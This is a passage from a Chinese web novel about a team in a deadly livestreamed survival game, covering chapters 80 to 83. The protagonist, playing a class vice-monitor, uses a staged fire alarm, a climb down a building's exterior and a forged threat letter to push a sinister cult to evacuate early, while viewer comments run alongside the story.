由是,这几个月里,死了不少人,其中有市民也有学生。 据救援人员透露,他们也许需要群体迁移到另一个物资比较充分的救援点。 剧情:但意外发生了,两天前,写字楼遭受到了不明人员的袭击,待在一楼的市议长丧生,这对救援点和终焉教都是极大的恐慌,那些不明人员也攻击了写字楼的其他地方,导致又死了一些工作人员、市民和学生。 同时,不久之前,另一个救援点也遭受到了袭击,从那里逃出来的市民和人员被并入了写字楼这个点。 于市议长的死亡阴霾下,写字楼内的人员混杂,气氛很是低沉。 不过从市民的口中可以得知,新的市议长在旧市议长的死后不久就上任了,代替他成为新的终焉教代行者(二把手),直接受命于圣谕者(一把手)。 人员:现如今,写字楼现存活63人,分为:高三四班16人,市民30人,外校生5人,武装工作人员12人。 困境:水电储蓄不足、人力减少、物资竭尽、人员内部不稳定,写字楼被外来人员盯上,建筑受损不安全… 电子屏幕上,出现新的页面,显示第四轮域的剧情目标。 目标:致所有TRES的成员们,你们本轮的剧情目标有三个。 其一:去往新的、终焉教总部的救援点,其位于另一个城市。 其二:见到新市议长以及圣谕者。 其三:在过程中,保证所有十六位高三四班学生的安全,不允许任何人死亡。 请注意:本轮限时,所有任务必须在六天内完成。 [] [] [不是…这是在开玩笑么?这个任务? ! ] 三个剧情任务!每个任务都这么难,这跟直接宣告TRES的死刑有什么区别?而且这轮限时! [不是,意思是要在六天里去另一个城市,还得见到两个终焉教的最高领导层,同时还得保证所有的四班学生都活着… ] 弹幕都沉默了许久。 电子屏幕上显示的每一个字,都隐藏着无尽的、冰冷的恶意。 是的,TRES这次终于知道该如何寻找出口的方向了。 但同时, <深渊>也增强到绝对让他们没时间找到出口,哪怕能找到,也绝对让他们死在出口前。 这次的剧情目标,有若登天。 [卧槽, TRES怎么办啊… ] [这一轮,感觉<深渊>是真的要把他们所有人都弄死在里面。 ] 也有人在感慨时间的流逝。 [十一月…已经十一月了,这次时间跨度为什么这么大? ] [剧情描述里,说市议长在两天前被杀死了…时间跨度这么 大,估计跟上一轮杀了市议长有关。 ] 本来按照剧情逻辑应该十一月才会死亡的市议长提前在第三轮域的四月份被温知初给杀了,极快地推动了剧情发展。 所以第四轮域一开始,就被跃迁到了十一月的市议长死亡时间点。 [这就是上一轮剧情探索的意义。 ] [探索成功了,才能加快域内时间流动,才能更快找到出口。 ] [所以上一轮杀死市议长是最对的决策。 ] 如果没有杀死市议长,杀的是任何一个其他敌方,TRES这一轮绝对会依旧停留在四月份左右。 [幸好旧的那个市议长在上一轮被杀死了。 ] 温知初抿了抿唇线,视线依旧停留在屏幕上。 眼前的电子光屏刷新,浮现她此次的人物角色栏,显示加载中。 [等等,这次小温该不会还是班长吧…] [肯定是…你看这次的剧情目标,任务最重最倒霉的肯定是班长,而且小温是个幸运E ,绝对是她。 ] [不是吧,要一直这么倒霉吗? ] 人物栏加载完毕。 姓名:温知初。 人物:副班长。 人物性格:孤僻阴冷。 人物背景:原本的副班长是讨厌人群的,尤其厌恶班长,随着在末世中和所有人同生共死这么长时间,虽然她依旧不喜欢和人群一起活动,但逐渐地削减了恶意。曾经她觉得最虚伪的班长,某种程度上,也没有那么厌恶了,不过她依旧不太能看惯他过于圣父的行为。 人物栏消失。 温知初冷淡地抬眼,接受了这个事实。 [其实无论是副班长还是班长,都挺贴小温的,她既有班长的责任感和沉稳,也和副班一样喜欢一个人做事,险中求胜。 ] [更何况,这不是她第一次当副班长了。 ] [副班长? ] [我没看错吧,小温这次竟然是副班长? ] [我还以为她百分百是班长…幸运E魔咒失效了? ] 其他人也许不知道为什么, 034号知道原因。 宿主显然没有以前那么倒霉了,毕竟男主掉级了,根据此消彼长定律,宿主在运气上比之前好了一些,终于不是<深渊>里最倒霉的那个了。 [那么… ] [这次的班长是谁啊? ] [全剧情最倒霉的一个人物,很大可能还保留着上一轮的精神疾病史…总不可能让敌方来担任吧? ]魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 班长是谁? 光坐在房间里是无法知道的。 温知初在办公室内坐了会儿, 她站起身,推开玻璃门。 走廊的空气有些闷涩,有股很久没彻底清洁的霉味, 大概从脚底下的毯子传来。 写字楼里没有暖气, 尽管门窗紧闭, 但风还是从窗缝隙里挤进来, 冷得走廊上的学生们不停地跺脚。 温知初往外走。 不远处那群外校高中生看到她, 又打起了招呼:“副班。” [哟,这群人转性了? ] [我记得在上一轮他们不是这种嘴脸啊。 ] [欺软怕硬吧, 别忘了这会儿小温不是班长而是副班了, 副班是个孤狼人设,狠起来不顾人伦会直接把同类咬死的存在。 ] 温知初这次没有忽略他们, 冷淡地望去,不过也没有回应, 修长的身影从他们身旁径直掠过。 [这个人设好啊,终于不是冤大头班长了。 ] [其实副班这个人设担子也很重,不过在上一轮班长的对比下,显得不用那么累了。 ] 往前走, 路过大厅,在另一个走廊的拐角处终于看到了队友们的面孔。 她站定。 透过玻璃往里看,除了屈孚宁之外,四个队员都聚在了这个办公室里,还有一些其他四班的学生,玻璃门半掩着。 她走到门处,想推开门,不过颀长的手指还没碰到玻璃门,半空中的电子音已然响起。 [注意关键事件节点:作为离群的副班, 你不会主动去靠近他们,哪怕他们是同班同学。 ] 人物限定似乎比上一轮更严格。 温知初顿了顿,她没走进去。 “咚咚咚”,指节分明的手敲了敲门。 办公室内的同学们往外看。 有人问:“怎么了吗?” 副班站在门口,并不推开门,斜倚在墙边:“有水么?” “没有,”储见仲回答,“应该不在这个办公室。” 他话没说完,门外的副班已经离开了。 储见仲眨巴眨巴眼,望向身边的另一个同学,那人耸了耸肩:“副班一直就这个性格…没什么耐心。” [? ] [什么意思?我怎么没看懂? ] [其实就是不能进去见队员,提醒队友来找她。 ] [是啊,刚才不是提了水这个问题吗。十二楼有放饮用矿泉水的,就只有03办公室,水都在那儿堆着,副班算是在提醒队友她的地点。 ] 温知初回到了03办公室。 回去的路上又遇到那些外校高中生了,这次那些高中生没有再打招呼,不过主动让开了道。 她坐回了刚来时坐着的椅子。 大概等了十几分钟后,门外响起敲门声,有人推开门。 队友们陆续进了这个办公室,包括刚才不在的屈孚宁,也被将铭喊来了。 大家都坐下,晏逾明最后一个走进来,高大修长的身影坐下,反手把玻璃门关上。 “我就直接开门见山了,”邱任望直接开口,“我刚刚兑换了十分钟的剧情脱离。” 邱任望刚来就完成了一个剧情任务,直接兑换了剧情脱离的权限。 “大家也应该察觉出来了,”邱任望道,“这轮的人物限制比二三轮要严,跟第一轮域刚开始差不多,不兑换剧情脱离我们没办法交流。” 第一轮域之所以人物限制那么严格,是因为剧情目标相对比较容易达成,到了现在的第四轮域,在任务如此重的情况下不仅有时间限制,人物限制也更严重了,明显就是被针对。 “只有十分钟,”邱任望道,“不谈其他话了,只说重点。” 作为主Tactic位,他需要为大家疏理出第四轮域的思路。 “这一轮一共三个剧情目标,每个都很难。”将铭道。 其一:去往新的、总部的救援点,其位于另一个城市。 其二:见到新市议长以及圣谕者。 其三:在过程中,保证所有十六位高三四班学生的安全,不允许死亡。 “而且本轮限时。”他低头,指向自己手腕上的终端,“现在是11月30日晚上十一点,我们是十点到这里的, <深渊>只给了我们六天时间,这意味着,我们必须要在6号晚上10点前完成这一切。” 他道:“而且我们这轮的权限还是很少,除了我的剧情脱离、查验敌方之外,就只有章诎的…” 章诎接过话:“地图。” “是。”邱任望道,“Yu哥可以共享剧情脱离的权限,不过能兑换的时间比我要少一半。” 他继续说:“我看了这一轮的任务,我觉得没必要再兑换查验敌方的权限了,这一轮最重要的是我们的自主行动能力,所以我准备全都将权限点在剧情脱离上…你们怎么看?” 敌方查验不重要了,不管谁是谁,阻止他们完成任务的任何人都是对立面,管他什么身份。 邱任望为了节省时间,语速比往常都快了许多。 “赞同。”将铭道。 其他人也跟着点头。 邱任望继续说:“ OK ,现在我们看具体的目标…其实现在说第二个第三个目标都没有意义,因为第一个目标必须要先达成了,才能继续完成第二个和第三个目标。” 他道:“只有六天时间,我们需要去另一个城市的救援点,这就耗费了大部分时间。” 屈孚宁开口:“刚才我听市民们聊天,他们说车程大概需要一两天。” 邱任望抬头:“这其中还没有包括中间可能会遇到的意外,车可能会坏、可能会被丧尸围堵,等等等等,反正保险点估算也得耗费个三天了。” 章诎开口:“他们不是有直升飞机吗?这个城市的直升机他们应该不只有一辆。” 邱任望:“不一定能轮的上我们,如果能轮得上是最好的,就他们那种小直升机,只能坐四个人…第一批送出去的肯定都是比较重要的人。” 将铭问:“救援队有说什么时候出发吗?” 屈孚宁:“他们说后天。” 不行,太晚了。 他们绝对不能后天才出发。 现在分析这些还早,他们需要搜寻更多的信息,无论从市民那里还是从救援人员那里。 “以及最重要的,”将铭道,“我们不能忘了我们来域里,主要是来找<深渊>出口的,我们要尽可能地加快剧情发展,无论通过什么办法。” 邱任望点头,他总结道:“总之,我们现在主要做两件事,第一件事就是无论如何都要促成我们尽早出发、尽早到达终焉教总部的这件事;第二件事就是注意学生的安全,毕竟终焉教也挺古怪的。” “行了,就这些。”邱任望几乎卡着点说完所有话,他站起身,“散了吧,各自努力。” [等等这么赶的吗? ] [人物卡片出来了,这轮的班长是Yu? ] [是Yu? ? ? ] [就是副班长和班长交换了身份对吧,这俩人又是这种对立的关系,不过这一轮显然比上一轮关系好多了。 ] 这一轮大家的人设和上一轮一样,除了班长和副班长互换了。 班长和体委关系好,美术生也是四班的人,由是Yu 、将铭和邱任望之间可以打配合,章诎这个七班的学生和他们关系也不错,彼此之间也能交流。 三班的屈孚宁和四班的副班都比较孤僻,一个是比较恐惧和人交流,一个是讨厌跟人交流,由是二人这轮可能偏向于独自处理事情。 邱任望也考虑到了这点:“你们两个人,如果需要剧情脱离,随时在群里说。” 屈孚宁:“好。” 温知初沉默地点头。 大家各自有剧情节点事件需要完成,讨论完准备散开,凑巧的是,门口有人来了。 是那些市民。 “你们正好在这儿,”市民们拖了些箱子进来,“我们在收拾书目,包书皮,帮帮忙。” 这些书都是终焉教重要的经书。 “后天不是就要走了么,可能会下雨受潮什么的,搬运中也有可能受损,得好好包住。”市民们进来,盘腿坐下。 外面还有几个学生也跟着走进来,一起帮忙。 办公室的门打开,里面的人一下多了许多,顿显嘈杂。 TRES的队员们留下,帮着收拾。 市民坐在中间,给他们展示:“我的意思就是先用纸把封面包上,然后套到这些塑料袋里,装进箱子后用海绵格挡下。 他的动作小心翼翼。 邱任望兀然开口:“确定是后天出发吗?” “应该是吧。”那人依旧低着头,叠书皮,“你们包书的时候,注意不要折到封面了。” 学生们效仿他的动作,跟着整理。 温知初没做。 副班就不会是那种会帮人做事的人。 办公室内的椅子都被其他人坐了,她坐到桌子上,冷淡地翻着手中的书,居高临下而怠懒地偶尔望着其他人。 手上的书正好是上一轮看过、但没看完的《钢铁终焉》。 有人注意到她没干事:“副班,你需要书皮吗,我放在你旁边了。” 温知初只是瞥了他一眼,没有回答。 那人悻悻地坐了回去,没有多说。 [还好这一轮小温是副班…] [这一轮班长是Yu欸。 ] [那班长还延续着上一轮的体质吗,还是那种精神疾病地狱模式吗? ] [我不知道啊, <深渊>有限制,没法看到Yu更具体的人物栏,而且我觉得Yu没那么幸运E吧] [话说温和Yu两个人是杠上了吗,为什么每次都是这种尴尬的关系。 ] [第四轮好多了,起码不是那么深切地互相厌恶的关系了,彼此之间的观念已经有所转变了。 ] 温知初垂眼,望向就近坐着、正在叠书皮的晏逾明。 她开口:“喂。” 晏逾明抬头,望向她。 班长和副班长之间的对视始终都是疏离的、冷淡。 温知初望向他脚边的水:“水,递给我。” 晏逾明回看了她一眼,深邃的双眼定了定,也没说什么,把矿泉水递了过去。 温知初接过水的同时,修长的手指兀然探进他的左臂袖子,指节从手腕蹭过。 没有伤痕。 瞬间的事,晏逾明收回了自己的手臂,盯住她:“怎么了?” 温知初收回眼,没有回应。 她仰起头,喝了几口水,再次垂眼时,晏逾明已经又在叠书皮了。 她看向他的另一只手臂。 [注意关键事件节点:作为副班长,你不会在人群中滞留这么久。 ] 温知初站起身,默不作声地离开。 走到门口的时候,坐在门口的市民问:“你不留下来帮忙吗?” 话没说完,玻璃门已经被冷淡地关上了。 门外,那道修长的身影已然远去。 第82章 将铭在办公室内叠会儿了书皮,走了出去。 已经很晚,大部分人已经找地方睡觉去了,只有少部分人还在大厅里低声聊天。 他的眼神转着,走到市民群中,坐下,听他们讨论事情。 市民们也在聊转移的事,主要是在讨论东西该怎么收拾。 “估计也带不了多少东西过去, 一共就三辆车,全都是军用卡车。” “东西收拾太多的话, 没地方放啊。” 将铭插话:“你们确定是后天走么” “没说吧。”有人搭话, “不知道是谁传的消息,有说明天晚上的, 也有说后天晚上的。” “其实明天后天无所谓吧,”另一人道, “也就一两天的时间。” 对于市民们是这样,但对于他们这群TRES的队员们,后天晚上出发太晚了。中间还有那么多意外要素,最晚得明天出发。 将铭停下来继续聊了会儿,没继续听到什么有用的消息,离开了。 其实去找救援人员聊最好,但是那些人应该睡了, 八楼都没有亮光。 只能等到明天了… 将铭从八楼重新绕回十二楼。 十二楼隐隐约约有吵闹声,大厅那里学生们吵起来了。 不是高三四班的学生内部吵起来, 而是和外校学生吵起来。 原因是四班学生发现自己放在储物间的背包被翻乱, 吃的用的东西少了不少。 四班学生:“就你们这些外校的喜欢动人包,又不是没有过先例,别辩解了, 把东西还给我们!” “证据呢?”外校生冷笑着,“自己的东西没看好,就乱冤枉人。” 四班生:“你们刚来的时候有前科。” 外校生拒绝承认,逐渐上升到要动手的程度,推着最前面的那个男生:“证据,我问你证据在哪里,没有的话就别张着个狗嘴瞎说。” 外校生这五个学生,都是硬茬。 毕竟是在外求生时,会主动推下同学来拖延时间的人。 四班的人在大厅的就这么几个,有些怵。 吵闹间,温知初从大堂路过,四班的学生看到了:“副班!” 他们喊:“副班,你来评评理…” 温知初戴着有线耳机,双手插兜,校服内的卫衣帽也戴着,隐约听到不明的嘈杂声,略微皱起眉,走远了。 那些呼唤副班的人,还没来得及说完整话,看到的已然只剩下一道修长而淡漠的背影。 耳机里播放着低声的音乐。 显得夜色特别悠长。 · 第二天早上。 八楼。 还没到七点,救援人员在吃早饭。 他们向来这个时间点醒来,吃完饭后通常会出外勤,不过最近都在忙转移救援点的事,外勤的事务被取消。 餐桌旁多来个自来熟。 是那个四班的美术生,说着来送吃的东西,自然而然地也坐下和他们一起吃东西。 有个救援人员道:“你小子起挺早啊,怎么不跟其他同学一起继续睡?” “想到就马上要离开,舍不得睡。”邱任望接话。 [小邱自然得像个原住民。 ] [说实话这么多队员里,我最羡慕的就是他的社交能力。 ] “我们真的明天才出发吗?”邱任望问。 救援人员:“你从哪里听的这个消息?” 邱任望:“他们聊天的时候我听到的。” 救援人员:“消息挺灵通,我们确实明天晚上带你们走。” 邱任望一边啃馒头一边发出一声啊声:“这么晚才走?” 有人看他:“怎么,你很希望早点出发?” 邱任望点头:“大哥们,不是还有直升机么我记得…”他比了比手势。 有人笑了声:“你想得倒挺美。” 他道:“直升机确实今天出发,但是就那么几辆,运的都是重要的人物。” 在这个城市逗留的还有其他代行者和他们的家属,首先肯定要把他们安全送回总点。 在此之外,还要优先运送除了武装人员外的工作人员,比如医生之类… 救援人员道:“我们跟你一样想早点走,可惜我们也走不了。” 他道:“反正也就晚了一天,还能多收拾些东西,也就可能最近吃得不太好,份量少点儿,就等着吧。” 桌上只有馒头。 他道:“你们要注意了,最近可别生病,我们这儿没有多余的药了。” 另一个人道:“撑到总点就行了,那里不仅有医疗人员,还有医疗设备。” 邱任望“嘶”了几声,说实话这些救援人员的话根本讲不通。 直升飞机名额被占,但是车辆已经准备好了啊,为什么不今天出发,非得拖到明天。 写字楼内已经有部分人因为极端环境生病,现在又没有药,明明越早出发越好。 物资也耗尽,大家吃得又不好,挨饿的人很多。 没有理由明天再走啊。 邱任望:“车子不是已经准备好了么,我们真的不能今天就出发吗?” 救援人员摇摇手,不再说话了,板着脸的样子是明显的拒绝。 用沉默糊弄过去,也没说具体原因。 邱任望继续在这儿坐了回儿,没有套出更多话,站起身准备离开。 离开之前,他又发现了一个异常点。 这些救援人员中有一半人穿的是要外出的服装。 可他们今天不是没有外勤么? 他看了几眼,知道肯定问不出答案,还是走了。 推开楼道的门,三步并成两步上楼,由是他没看到在楼道走廊站着的温知初。 她戴着耳机,斜倚在墙上,有线耳机往下垂。 手机里是没有音频在播放,站的地方光线比较晦暗,能听到里面谈话的内容。 不知已然在这里站了多久。 · 在原地站了会儿,温知初也上楼了。 回到十二楼,大厅里人很少,才七点半,大部分人都没起来,还在睡觉休息。 醒来的市民开始领今天的食物,每个人半个馒头。 那五个外校生倒是都起来了,他们看到温知初走进大厅,跟上来打招呼。 温知初坐下。 这次倒没有不搭理人,平淡地抬眼:“什么事?” 外校生围着坐过来。 有个学生往外看了看,确定其他人都不在附近,这才开口:“副班,我们想做一件事,人太少了,还缺少个有能力的人,你能不能加入?” 那人再次环顾四周,确定没有人后,转回头:“是这样的…你不觉得这个终焉教很奇怪吗?” [在上一轮的时候就这么觉得了。 ] [这些外校生找副班合作? ] 温知初:“你指哪方面?” 那人道:“哪方面都很奇怪啊。” 他开口:“我知道为什么他们明天才带我们走。” 外校生对这里的人隐藏了些事,主要是他们不敢和其他人说。 他们是前几天刚从街道点那里转移过来的。 救援人员用的理由是“街道点遭遇外来人员的袭击”,可他们那里根本没有遭受过任何外来人员的攻击。 市民、还有另外五个他们的同学加起来大概五十人左右,是无声无息消失的,不知道消失到哪里去了。 没有外来人员的介入。 他们中有人目睹了工作人员从仓库里往外搬运裹尸袋,一袋又一袋的。 他们五个其实也很害怕。 他们为什么没死? 这些武装人员到底要做什么?是他们杀的人吗? 被运送到写字楼的路上,算上外校生他们自己和其他市民,一共有十四个人,其中一个市民中途尝试逃跑,直接被开枪打死了。 打死的时候,有个工作人员很生气地踹了开枪的人,大概的意思是为什么要弄死,明明弄残了就行。 所以他们确定了一些事,街道点的人果然是被武装人员弄死的,而剩下来的人之所以能活着,估计是有什么特殊的用处。 来到写字楼这个救援点后,他们一直担惊受怕,随时想逃跑,对于这群救援人员,他们又警惕又害怕。 还真叫他们发现了不少事。 “你知道八楼奇怪的动静么?”有人开口。 这个人前天被关过一天的禁闭室。 温知初看着他:“继续说。” 她当然知道。 毕竟Yu也曾经被关过禁闭室。 那人道:“我昨天偷偷躲在八楼,想看看那边奇怪的动静到底是什么。” 他初步怀疑是在圈养丧尸,但仔细听动静又不像。 救援人员盯得太紧了,他虽然没看到那间房间里到底装着什么,但是他听到了武装人员的话。 他开口:“他们说,要在今天,用一半的人手把那东西运出去。” 那人继续说:“我们之所以明天才出发,是因为他们要优先把那东西运到总点,和我们错开时间。” 运那东西和运人其实不矛盾,可以同时出发。 武装人员显然非常谨慎,执意要错开时间,要杜绝路上其他人撞见那东西,哪怕只有万分之一的可能。 毕竟都是同一路线上的。 说话的人说完了,咽了咽口水,他望向温知初:“你不惊讶么?” 温知初顿了顿,像是在思考着什么,她从口袋里掏出了个面包,顺手一扔,扔到那人的怀中:“你继续说。” 那人把面包捏紧了,脸上有了笑:“所以我们想找你合作。” 温知初坐直:“合作什么?” 温知初知道他们是想逃走,想离开这个终焉教。 但不行。 她不能离开。 TRES的任何人都无法离开。 如果现在离开这个写字楼,他们想要见到新市议长和圣谕者就必须得突袭总点,这条路绝对走不通。 总点能成为总点,肯定是守卫最戒备、武器最充沛的地方,他们没有时间也没有人力去突袭。 还得沿途保护四班的学生,这意味着他们不能和其他学生分道扬镳。 只能跟着其他人一起被运送过去。 外校生道:“我们想离开。趁着今天他们有一半的人去送那个东西,我们找机会逃走。” 他们知道副班很厉害,一个人能当几个人用,这才想拉她入伙。 温知初:“可是我不想走。” 一时沉默。 外校生望着彼此,嘴巴张开又阖上:“可是这个地方根本不安全,街道点的五十多个人,就是被无声无息被剿杀的。” 温知初:“你们觉得外面安全么?” 说话的人停顿,确实,这座城市已经彻底沦陷,他们现在逃出去,也许不用再面对终焉教了,但是要面对无尽的丧尸,面对凭借着他们五个人永远无法逃走的废墟城市,没有食物、没有药、无水无电无人群,他们要怎么活? 明明是主动求合作的人,却拿不定主意:“那我们该怎么办?” 温知初:“你们在上个点没被杀,说明终焉教目前不可能对你们动手。” 那人道:“是这么个道理,可他们留我们活口肯定不是因为什么好事…” 温知初:“目前是安全的。” 温知初抬眼:“你们离开可以,但是不要在这个城市离开终焉教。” 这个城市已经彻底沦陷了,现在逃出去,五个人又能撑多久? 那人猛得抬眼,他明白温知初的意思:“你的意思是…” 温知初:“先去总点所在的城市,那里没有沦陷,物资肯定是足够存活的,到那里再走也不迟。” [不是,我怎么看不明白呢,为什么副班要帮这些外校生啊? ] [不是帮吧,顺带口地提供了思路吧,毕竟这些人也带来了不少消息。 ] [我怎么感觉小温是想做什么呢?她不可能单纯想帮忙的。 ] [是啊,毕竟人物设定限定摆在那里,副班可不会主动做什么好事,还是对他们这些外校生。 ] 温知初:“到那个时候我可以加入你们。” 那几个外校生:“真的?” “不过…”温知初的眸色变深,“在此之前,你们要帮我做一件事。” 那几个人也没犹豫:“什么事?” 大厅内,交谈的声音更低了。 · 早上八点。 几个外校生散了,温知初站起身,走到窗户旁,从她的角度,能看到有车从写字楼的斜后方开走。 那一半的武装人员,果然离开了。 货车上装的是八楼的那个东西么? 温知初在窗边站定了会儿,离开了十二楼的大厅。 她在十二楼缓慢而漫无目的地绕了一圈,走到楼道口,下楼。 [Wen是在找什么吗? ] 走到了十一楼,路过的时候,看到有市民在洗衣服。 那人主动打招呼,副班眼神没有停留地离开了。 走到尽头的走廊,她停住脚步,眼神往下垂落。 走廊晦暗,遮住她半张脸的神情。 Yu在这里。 他独自一人坐着斜倚在墙边,闭着双眼,应该还在睡。 温知初的眼神定了定,本应该直接绕过去的她走到了他身旁。 她弯下腰,看向那只她昨天没来得及捋起袖子的右胳膊,躬身,冷淡而轻地捋起他右臂的校服。 没有。 没有伤痕。 温知初收回手,不过她没有站直身,修长的手指伸向了他的校服口袋。 [小温是想干什么? ] [是不是想知道这轮的班长有没有和她上一轮一样,需要服用精神控制类的那个药? ] [有道理欸,如果有的话那个药肯定会随身携带。 ] 在手伸到口袋之前,温知初的手腕被一只骨节分明的手给握住了。 晏逾明睁开眼,盯向温知初:“干什么?” 温知初看他醒来,眼睫定了定,收回手,她站直身。 晏逾明一直盯着她,他也站起身:“嗯?” 温知初的神情淡淡的:“有吃的么?” 晏逾明:“你的呢?” 温知初:“送人了。” 这句倒倒是真话。 晏逾明:“很饿?” 温知初:“还行。” 晏逾明从口袋里掏出了个东西,一边垂眼盯着温知初,一边塞到她手里。 温知初往手上一看。 一板奶片。 粉色的。 “草莓味的。”班长看着她,“如果不是很饿的话省着点吃。” 第83章 十一楼的插曲很快就过去了。 班长和副班之间的关系虽然不像之前那么剑拔弩张、彼此间多了些理解,但显然不是什么能多聊的关系。 温知初回到了十二楼,坐回大厅的沙发。 她没有回独自可以自处的空间,似乎是在原地等待着什么事。 [那些外校生去哪儿了?刚才还在大厅的, 一转眼人就没了。 ] [好像下楼了。 ] [去干什么了?是去做Wen让他们做的事了么? ] [不知道啊,我都不知道他们到底商量了什么… ] 温知初平静地倚在沙发上。 在等待的过程中, 她打开了终端。 有关她的计划, 她想通过对话框告诉成员。 可惜, 又被<深渊>限制了。 邱任望上次做的那个大富翁程序失效了,点开程序后会显是一行程序无法使用的黑色小字, 如果点击太多次, 终端会陷入卡死。 <深渊>对TRES的限制,真是越来越多。 温知初放下手腕, 不再看终端。 有些百无聊赖。 温知初从口袋里拿出那板奶片,别出一片, 含进口中。 真的是草莓味的。 身后传来声音,是将铭,他突然从温知初的手中拿走那板奶片:“你又在吃什么…” 声音戛然而止。 将铭有些应激了。 他还以为温知初又在悄悄吃什么药,跟上一轮一样打着润喉糖的幌子骗他。 不过这次是真的奶片。 他还有些半信半疑得:“这真是奶片?” 如果是本来的温知初, 会耐心地解释给他听。 但她现在不仅是温知初,也是副班。 她淡淡地抬眼:“是毒药,来一片?” 将铭还真拿出一片吃,含了含,那张常年面瘫的脸尴尬地笑了笑:“你这药还挺甜…” · 与此同时的八楼。 写字楼内出去了六个救援人员, 现在只剩下六个。 其中有四个还在八楼, 其他两个回了四楼,毕竟四楼是工作人员的住宿楼。 因为之前出现过外来人员袭击救援点的事,八楼以下的楼道口都被封住, 通道门全锁上。 八楼以下,只有工作人员能进出。 八楼的四个救援人员收拾收拾,也准备下楼,在此之前,五个外校生正好进来了。 从门外卡着点进来的,似乎早就在外面等了一会儿。也不知道来干什么,一进来就东张西望。 [我刚才换视角,看到这五个外校生一直在门外踟蹰,好像在犹豫要不要进来。 ] [他们到底要干什么? ] 这句话救援人员也想问。 “来八楼干什么?”救援人员问,“这才几点,你们就起来了?” 平常除了来祈祷的信徒,没什么人会来八楼。 他道:“饭已经没了,别在这儿找了,每天发放的饭都是定时定量的,多余的没有。” 今天怎么这么多人来八楼找他们,起挺早,还都是学生。 不过这五个学生比起一小时前来的那个邱任望,看起来神色要紧张得多,有人的额头上都出了冷汗。 为首的外校生干瞪着一双眼,确定这四个救援人员没有别枪后,终于开口:“我们要离开。” 其他四个学生附和:“我们要离开。” 救援人员愣了愣,笑出声:“离开?” 他问:“去哪儿?你们准备出去喂丧尸?” 这五个人是不可能被放走的。 毕竟他们的血通过了审核,有用。 “我们看到了。”为首的外校生突然道。 救援人员道:“看到了什么?” “看到你们杀了我们的同伴,还有那些信徒。”他道,“还看到裹尸袋一个一个地被运出去,都是你们的手笔。” 他说这话肯定不是为了死去的同伴出气,说话的同时眼神并不坚定,显然是在完成温知初让他们做的事。 这话落地,几个救援人员的脸色顿时沉下来:“你说什么?话可不能乱说。” 救援人员往前一步:“我劝你们谨言慎行。”压低的声音里有警告。 外校生道:“是不是乱说你们自己知道,我们看到了。” 有学生大着胆子说:“一下子蒸发五十多条人命,谁知道你们拿去干什么了。” 八楼的气氛一下沉下来,救援人员彼此交换了个眼神,最靠门的人走过去,把门关上。 他拿出对讲机:“喂,你们上来,来八楼。” 他低声道:“把枪带上,有人闹事。” 靠近学生的救援人员沉沉地盯向他们:“所以你们想干什么?” 外校生忍住想往后退的欲望:“我们憋了一段时间了,实在忍不住了,我们不忍心看那些信徒被瞒着,想告诉他们真相。” 另一个学生道:“之前是我们太信任你们了,你应该放我们所有人离开。” 那救援人员直接忽略后面的话:“所以你们想告诉其他人?” 为首的救援人员眼神立马变得凶狠:“你说这话之前,有没有想过,我们有一千种办法让那些人不相信你们说的谣言,也有一千种办法让你们说不出话。” 眼见着这些救援人员围过来,其中一个学生站到了桌子上:“那来啊!敢动我我就自杀!” 救援人员:“给我下来,这里不是你能闹事的地方!” 学生吼出的声音贼大:“不给个解释我就继续闹!” 楼道口的门外似乎传来了脚步声。 那两个救援人员带着枪来了。 另外四个学生听到动静,突然开始跑,一边往外跑,一边大力按向靠墙角的一个火警器。 “啪”得一声用力按下,整栋楼都铃声大作。 八楼的天花板上,防火警喷头立刻往外大量地喷水。 两个救援人员推门走来的时候,迎面是喷头洒下来的水。 能看到房间里其他几个学生被钳制住,反手被押在地上,天花板上不断洒着水,铃声震耳欲聋。 十二楼的市民和学生听到了铃声,疑惑地抬起头,不知道这是怎么了。 怎么突然有火警声?哪儿着火了? 而九楼的温知初,铃声响起的时候她站在窗边,火警铃一响起,她推开窗,没有停顿地翻了出去。 火警铃是外校生给她的信号。 意味着所有的救援人员都在八楼,她可以去四楼了。 外面风很大,吹得外墙钢板有轻微的嗡嗡声。 俯身从九楼窗沿翻下去,双手紧握外墙的钢筋杆,脚踩住下面的排水管,小幅度调整身体重心后,温知初平静地松开右手,拽住更低的铁杆,左手跟上,下滑半米,吊住。 身体稳定后,膝盖抬起,跳到八楼的空调机上,蹲下,继续往下翻。 错落地撑着外墙零散的突出部分,膝盖始终略微弯曲,每次下滑的幅度都在半米左右,身体不断压低。 一层一层往下跳,最终翻到四楼的窗沿外,也就是救援人员住宿的地方。 果然。 窗帘紧拉,窗户从里面锁着。 所以才需要火警铃的掩盖。 她需要撞碎玻璃进去。 温知初单手撑住窗框,左脚踩在窗沿上借力,倒握的支杆用力砸向窗户。 “砰!” “砰!” “砰砰!” 一声,两声、三声…玻璃四溅,直到碎裂到手可以探进去,从里面打开窗户。 温知初翻进房间内,平稳地落地。 收回支杆,她的眼神在房间内扫了一圈,踩着玻璃,坐到靠窗的书桌前。 打开抽屉,翻出了纸笔。 铃声大作中,她在纸上写了几行字。 大体的意思就是表明写字的人是上次袭击市议长的那些外来人员之一,威胁今天下午会进行第二次集体袭击,侵占这整个点,清杀。 为的是让这些救援人员带着人早点出发。 毕竟这些市民和学生能被一直留活口,证明他们有用,或者说他们的血有用。 虽然这些人没有那个今天早上就运走的东西重要,但肯定也是有相对重要的存在价值。 有不速之客能突然闯入他们的住宿,就能在下午真正地来清杀写字楼。 看到这些字,救援人员会不再拖延,立刻带着人离开么?毕竟行李都收拾好了… 温知初把笔放下。 环顾四周,感觉还不够,仅仅是被打碎的玻璃和留在桌上的信似乎还不够… 房间可以再乱点。 她站起身,把就近的柜子推倒,“哐当”声中,房间里的家具被支杆砸倒、砸碎,声音大到地板都在晃动。 花瓶被扫到了地上,“啪嗒”碎了一地。 火警铃声还没有停,嘈杂中,温知初停在了一片狼藉中,因为她听到房间外的脚步声,她顿住,往外看。 有人来了。 门被猝不及防得打开,门外站着一个武装人员,打开门立即大喊:“干什么!” 他举起枪,对准温知初:“学生?举起双手,站过来!” 这个武装人员显然是回来找什么东西的,正好撞上了。 温知初越过他往外看,确定外面没人跟过来。 武装人员:“站过来!!” 温知初缓慢地站直身,往前走。 武装人员:“把手上的东西放下!” 温知初沉默着,把背在身后的右手上的支杆放下,“铛”得沉重地落地。 武装人员一边走近一边大喊:“把身后的手放到前面来!” 温知初冷淡地瞥着他,顿了顿,最终把身后的手抬到身前,原本拿着支杆的右手空无一物,而左手,却在经过身侧的瞬间,手指一勾。 